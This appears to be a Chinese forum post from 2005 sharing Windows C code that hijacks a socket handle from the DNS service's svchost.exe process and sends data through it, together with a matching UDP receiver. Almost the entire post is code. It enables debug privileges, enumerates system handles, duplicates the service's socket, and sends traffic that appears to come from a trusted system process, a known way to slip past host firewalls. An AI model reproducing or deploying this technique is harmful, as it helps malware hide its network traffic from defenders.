1. 找出目标进程2. 找出SOCKET句柄2. 用DuplicateHandle()函数将其SOCKET转换为能被自己使用3. 用转换后的SOCKET进行数据传输

CODE:/*++Made By ZwelL[email]zwell@sohu.com[/email]2005.4.12--*/#include <winsock2.h>#include <stdio.h>#include <wtsapi32.h>#pragma comment(lib, "ws2_32")#pragma comment(lib, "wtsapi32")#define NT_SUCCESS(status)       ((NTSTATUS)(status)>=0)#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)typedef LONG   NTSTATUS;typedef struct _SYSTEM_HANDLE_INFORMATION{  ULONG         ProcessId;  UCHAR         ObjectTypeNumber;  UCHAR         Flags;  USHORT         Handle;  PVOID         Object;  ACCESS_MASK     GrantedAccess;} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;typedef ULONG (WINAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG);ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL;BOOL LocateNtdllEntry ( void ){  BOOL   ret       = FALSE;  char   NTDLL_DLL[] = "ntdll.dll";  HMODULE ntdll_dll   = NULL;  if ( ( ntdll_dll = GetModuleHandle( NTDLL_DLL ) ) == NULL )  {    printf( "GetModuleHandle() failed");    return( FALSE );  }  if ( !( ZwQuerySystemInformation = ( ZWQUERYSYSTEMINFORMATION )GetProcAddress( ntdll_dll, "ZwQuerySystemInformation" ) ) )  {    goto LocateNtdllEntry_exit;  }  ret = TRUE;LocateNtdllEntry_exit:  if ( FALSE == ret )  {    printf( "GetProcAddress() failed");  }  ntdll_dll = NULL;  return( ret );}/*++This routine is used to get a process's username from it's SID--*/BOOL GetUserNameFromSid(PSID pUserSid, char *szUserName){  // sanity checks and default value  if (pUserSid == NULL)    return false;  strcpy(szUserName, "?");  SID_NAME_USE   snu;  TCHAR       szUser[_MAX_PATH];  DWORD       chUser = _MAX_PATH;  PDWORD       pcchUser = &chUser;   TCHAR       szDomain[_MAX_PATH];  DWORD       chDomain = _MAX_PATH;  PDWORD       pcchDomain = &chDomain;  // Retrieve user name and domain name based on user's SID.  if (    ::LookupAccountSid(    NULL,     pUserSid,     szUser,     pcchUser,     szDomain,     pcchDomain,     &snu    )    )  {    wsprintf(szUserName, "%s", szUser);  }  else  {    return false;  }  return true;} /*++This routine is used to get the DNS process's IdHere, I use WTSEnumerateProcesses to get process user Sid, and then get the process user name. Beacause as it's a "NETWORK SERVICE", we cann't use OpenProcessToken to catch the DNS process's token information,even if we has the privilege in catching the SYSTEM's.--*/DWORD GetDNSProcessId(){  PWTS_PROCESS_INFO pProcessInfo = NULL;  DWORD         ProcessCount = 0;  char         szUserName[255];  DWORD         Id = -1;  if (WTSEnumerateProcesses(WTS_CURRENT_SERVER_HANDLE, 0, 1, &pProcessInfo, &ProcessCount))  {    // dump each process description    for (DWORD CurrentProcess = 0; CurrentProcess < ProcessCount; CurrentProcess++)    {        if( strcmp(pProcessInfo[CurrentProcess].pProcessName, "svchost.exe") == 0 )        {          GetUserNameFromSid(pProcessInfo[CurrentProcess].pUserSid, szUserName);          if( strcmp(szUserName, "NETWORK SERVICE") == 0)          {            Id = pProcessInfo[CurrentProcess].ProcessId;            break;          }        }    }    WTSFreeMemory(pProcessInfo);  }  return Id;}/*++This doesn't work as we know, sign...but you can use the routine for other useing...--*//*BOOL GetProcessUserFromId(char *szAccountName, DWORD PID){  HANDLE hProcess = NULL,         hAccessToken = NULL;  TCHAR InfoBuffer[1000], szDomainName[200];  PTOKEN_USER pTokenUser = (PTOKEN_USER)InfoBuffer;  DWORD dwInfoBufferSize,dwAccountSize = 200, dwDomainSize = 200;  SID_NAME_USE snu;  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, PID);  if(hProcess == NULL)  {    printf("OpenProcess wrong");    CloseHandle(hProcess);    return false;  }  if(0 == OpenProcessToken(hProcess,TOKEN_QUERY,&hAccessToken))  {    printf("OpenProcessToken wrong:%08x", GetLastError());    return false;  }  GetTokenInformation(hAccessToken,TokenUser,InfoBuffer,    1000, &dwInfoBufferSize);  LookupAccountSid(NULL, pTokenUser->User.Sid, szAccountName,    &dwAccountSize,szDomainName, &dwDomainSize, &snu);  if(hProcess)    CloseHandle(hProcess);  if(hAccessToken)    CloseHandle(hAccessToken);  return true;}*//*++Now, it is the most important stuff... ^_^--*/SOCKET GetSocketFromId (DWORD PID){  NTSTATUS               status;  PVOID                 buf   = NULL;  ULONG                 size = 1;  ULONG                 NumOfHandle = 0;  ULONG                 i;  PSYSTEM_HANDLE_INFORMATION   h_info = NULL;  HANDLE   sock = NULL;  DWORD   n;  buf=malloc(0x1000);  if(buf == NULL)  {    printf("malloc wrong\n");    return NULL;  }  status = ZwQuerySystemInformation( 0x10, buf, 0x1000, &n );  if(STATUS_INFO_LENGTH_MISMATCH == status)  {    free(buf);    buf=malloc(n);    if(buf == NULL)    {        printf("malloc wrong\n");        return NULL;    }    status = ZwQuerySystemInformation( 0x10, buf, n, NULL);  }  else  {    printf("ZwQuerySystemInformation wrong\n");    return NULL;  }  NumOfHandle = *(ULONG*)buf;  h_info = ( PSYSTEM_HANDLE_INFORMATION )((ULONG)buf+4);  for(i = 0; i<NumOfHandle ;i++)  {    try    {        if( ( h_info[i].ProcessId == PID ) && ( h_info[i].ObjectTypeNumber == 0x1c )           && (h_info[i].Handle!=0x2c)   // I don't know why if the Handle equal to 0x2c, in my test, it stops at getsockname()                            // So I jump over this situation...                             // May be it's different in your system,           ) //wind2000 is 0x1a        {          //printf("Handle:0x%x Type:%08x\n",h_info[i].Handle, h_info[i].ObjectTypeNumber);          if( 0 == DuplicateHandle(            OpenProcess(PROCESS_ALL_ACCESS, TRUE, PID),             (HANDLE)h_info[i].Handle,             GetCurrentProcess(),             &sock,             STANDARD_RIGHTS_REQUIRED,             true,             DUPLICATE_SAME_ACCESS)            )          {            printf("DuplicateHandle wrong:%8x", GetLastError());            continue;          }          //printf("DuplicateHandle ok\n");          sockaddr_in name = {0};          name.sin_family = AF_INET;          int namelen = sizeof(sockaddr_in);          getsockname( (SOCKET)sock, (sockaddr*)&name, &namelen );          //printf("PORT=%5d\n",   ntohs( name.sin_port ));           if(ntohs(name.sin_port)>0)   // if port > 0, then we can use it            break;        }    }    catch(...)    {        continue;    }  }  if ( buf != NULL )  {    free( buf );  }  return (SOCKET)sock;}/*++This is not required...--*/BOOL EnablePrivilege (PCSTR name){  HANDLE hToken;  BOOL rv;  TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };  LookupPrivilegeValue (    0,    name,    &priv.Privileges[0].Luid    );  priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  OpenProcessToken(    GetCurrentProcess (),    TOKEN_ADJUST_PRIVILEGES,    &hToken    );  AdjustTokenPrivileges (    hToken,    FALSE,    &priv,    sizeof priv,    0,    0    );  rv = GetLastError () == ERROR_SUCCESS;  CloseHandle (hToken);  return rv;}void main() {  WSADATA wsaData;  char   testbuf[255];  SOCKET   sock;  sockaddr_in RecvAddr;  int iResult = WSAStartup(MAKEWORD(2,2), &wsaData);  if (iResult != NO_ERROR)    printf("Error at WSAStartup()\n");  if(!LocateNtdllEntry())    return;  if(!EnablePrivilege (SE_DEBUG_NAME))  {    printf("EnablePrivilege wrong\n");    return;  }  sock = GetSocketFromId(GetDNSProcessId());  if( sock==NULL)  {    printf("GetSocketFromId wrong\n");    return;  }  //Change there value...  RecvAddr.sin_family = AF_INET;  RecvAddr.sin_port = htons(5555);   RecvAddr.sin_addr.s_addr = inet_addr("127.0.0.1");  if(SOCKET_ERROR == sendto(sock,         "test",         5,         0,         (SOCKADDR *) &RecvAddr,         sizeof(RecvAddr)))  {    printf("sendto wrong:%d\n", WSAGetLastError());  }  else  {    printf("send ok... Have fun, right? ^_^\n");  }    getchar();  //WSACleanup();  return;}[Copy to clipboard]

CODE:/*++UdpReceiver--*/#include <stdio.h>#include "winsock2.h"#pragma comment(lib, "ws2_32")void main() {WSADATA wsaData;SOCKET RecvSocket;sockaddr_in RecvAddr;int Port = 5555;char RecvBuf[1024];int BufLen = 1024;sockaddr_in SenderAddr;int SenderAddrSize = sizeof(SenderAddr);//-----------------------------------------------// Initialize WinsockWSAStartup(MAKEWORD(2,2), &wsaData);//-----------------------------------------------// Create a receiver socket to receive datagramsRecvSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);//-----------------------------------------------// Bind the socket to any address and the specified port.RecvAddr.sin_family = AF_INET;RecvAddr.sin_port = htons(Port);RecvAddr.sin_addr.s_addr = htonl(INADDR_ANY);bind(RecvSocket, (SOCKADDR *) &RecvAddr, sizeof(RecvAddr));//-----------------------------------------------// Call the recvfrom function to receive datagrams// on the bound socket.printf("Receiving datagrams...\n");while(1){  recvfrom(RecvSocket,     RecvBuf,     BufLen,     0,     (SOCKADDR *)&SenderAddr,     &SenderAddrSize);  printf("%s\n", RecvBuf);}//-----------------------------------------------// Close the socket when finished receiving datagramsprintf("Finished receiving. Closing socket.\n");closesocket(RecvSocket);//-----------------------------------------------// Clean up and exit.printf("Exiting.\n");WSACleanup();return;}[Copy to clipboard]